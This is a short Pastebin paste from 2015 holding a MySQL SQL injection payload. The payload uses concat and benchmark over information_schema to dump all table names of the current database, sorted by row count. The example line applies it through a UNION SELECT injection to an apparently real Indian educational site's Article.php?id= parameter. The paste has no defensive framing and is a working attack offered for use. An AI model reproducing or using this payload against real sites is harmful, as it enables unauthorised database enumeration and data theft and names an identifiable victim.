Advertisement
Kyfx

DOIS Table Names Sorted by Table Rows DESC By Kyfx

Aug 27th, 2015
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. -- Query - Concat Function
  2. concat(@x:=0x0,@oldtable:=0x0,@num:=0,benchmark((select count(*) from information_schema.tables where table_schema=database()),@x:=concat(@x,0x3c6c693e,(select concat(@num:=@num%2b1,0x2920,tbl,0x203a3a20,rows, if(@oldtable:=concat(@oldtable,0x2C,tbl),0x0,0x0)) from (select table_name as tbl,table_rows as rows from information_schema.tables where table_schema=database() order by table_rows DESC)Kyfx where FIND_IN_SET(tbl, @oldtable)=0 limit 1))),@x)
  3.  
  4. -- Example
  5. http://dbhspgoa.edu.in/Article.php?id=131 and 0 UNION SELECT 1,2,3,concat(@x:=0x0,@oldtable:=0x0,@num:=0,benchmark((select count(*) from information_schema.tables where table_schema=database()),@x:=concat(@x,0x3c6c693e,(select concat(@num:=@num%2b1,0x2920,tbl,0x203a3a20,rows, if(@oldtable:=concat(@oldtable,0x2C,tbl),0x0,0x0)) from (select table_name as tbl,table_rows as rows from information_schema.tables where table_schema=database() order by table_rows DESC)Kyfx where FIND_IN_SET(tbl, @oldtable)=0 limit 1))),@x),5,6,7,8,9--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement